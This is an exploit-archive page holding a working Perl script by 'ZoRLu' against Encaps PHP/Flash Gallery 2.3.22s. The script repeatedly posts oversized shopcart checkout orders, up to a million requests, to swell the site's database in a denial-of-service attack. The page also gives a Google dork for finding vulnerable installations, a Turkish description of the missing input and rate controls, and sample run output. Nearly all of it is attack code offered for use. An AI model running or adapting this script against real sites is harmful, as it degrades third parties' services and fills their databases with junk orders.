Encaps PHP/Flash Gallery 2.3.22s Database DoS



EKU-ID: 4798 CVE: OSVDB-ID:
Author: ZoRLu Published: 2015-04-28 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Hi guys,

#ref: http://www.milw00rm.com/exploits/5179

#!/usr/bin/perl -w
#Title		: Encaps PHP/Flash Gallery 2.3.22s Database Puffing Up Exploit
#Vendor         : http://www.encaps.net
#Download	: http://sourceforge.net/projects/encapsnet/files/
#Author		: ZoRLu / zorlu@milw00rm.com
#Website	: milw00rm.com / milw00rm.net / milw00rm.org
#Twitter	: https://twitter.com/milw00rm or @milw00rm
#Test		: Windows7 Ultimate
#Date		: 19/12/2014
#Thks		: exploit-db.com, packetstormsecurity.com, securityfocus.com, 
sebug.net and others
#BkiAdam	: Dr.Ly0n, KnocKout, LifeSteaLeR, Nicx (harf sirali :)) )
#Dork           : intext:"encaps php gallery"
#Note           : must be shopcart is enable
#Desciption     : its be Turkish because i dont know very well speak 
english
#Script uzerinden begendiginiz herhangi bir urunu siparis ederken 
(mesela: http://server/path/shopcart.php?action=add&item_id=1)
#sizlerden isim, e-posta ve adres bilgileri isteniyor. Bu bilgilerin 
kontrolu ise (http://server/path/admin/shopcart.php)
#linki uzerinden yapilmakta yani girdiginiz her turlu veri burada kayit 
altina aliniyor haliyle veritabanina yaziliyor ve bu islem
#yapilirken kod filtreleme disinda hic bir veri giris kontrolu 
yapilmiyor. Evet item_name, address_name vb. parametreler icin karakter
#sinirlamasi yapilmis fakat bu verilerin ardarda gonderilmesini 
engelleyen herhangi bir uygulama soz konusu degil, istedigimiz kadar
#veriyi araliksiz gonderip veritabanina buyuk bir yukleme yapabiliyoruz 
haliyle veritabanini sisiriyoruz yani database puffing up ;)
#
#perl encaps.pl
#
#Usage: perl encaps.pl http://server /script_path/
#Exam1: perl encaps.pl http://server /test/
#Exam2: perl encaps.pl http://server /
#
#perl encaps.pl http://server /test/
#[+] Sending: 1
#[+] Sending: 2
#[+] Sending: 3
#[+] Sending: 4
#[+] Sending: 5
#[+] Sending: 6
#[+] Sending: 7
#[+] Sending: 8
#[+] Sending: 9
#[+] Sending: 10
#[+] Sending: 11
#Terminating on signal SIGINT(2) (i stopped exploit for stop ctrl+c 
please)
#You can look here for your send: http://server/test/admin/shopcart.php
#


use HTTP::Request::Common qw( POST );
use LWP::UserAgent;
use IO::Socket;
use strict;
use warnings;

sub hlp() {

system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "\nUsage: perl $0 http://server /script_path/ \n";
print "Exam1: perl $0 http://server /test/ \n";
print "Exam2: perl $0 http://server / \n";

}

if(@ARGV != 2)	{

hlp();
exit();

}

my $ua = LWP::UserAgent->new;
my $url = $ARGV[0];
my $path = $ARGV[1];
my $puffing = $url.$path."shopcart.php?action=add";
my $address = "A" x 255; #its limit  =\  its for
my $itemname = "A" x 255; #its limit =/  more loading at database

my $req = POST $puffing, [
    payer_business_name => 'TestName', #for loading its a little
    payer_email => 'salla@google.com', #for loading its a little
    address_name => $address, #its 255 character for more loading
    item_number1 => '1', #its item number not null
    item_name1 => $itemname, #its 255 character for more loading
    amount1 => '', #its maybe null because limit a little
    quantity1 => '', #its maybe null because limit a little
    mc_gross_1 => '', #its maybe null because limit a little
    num_cart_items => '1', #its not null
    action => 'checkout_submit', #its action and not null
];


my $resp = $ua->request($req);
unless ($resp->is_success) {

	print "[-] HTTP POST error code: ", $resp->code, "\n";
         print "[-] HTTP POST error message: ", $resp->message, "\n";

		 }

else {

	my $resp = $ua->request($req);
         my $message = $resp->decoded_content;
	my $regex = "Thank you for your interest, we will contact you soon.";
	unless ($message =~ /$regex/) {
	print "[-] Exploit Failed\n";
		 }

		 else {

		 for (my $i=1; $i<=1000000; $i++) {

		 my $resp = $ua->request($req);
		 print "[+] Sending: $i\n";

		 }


		 }

}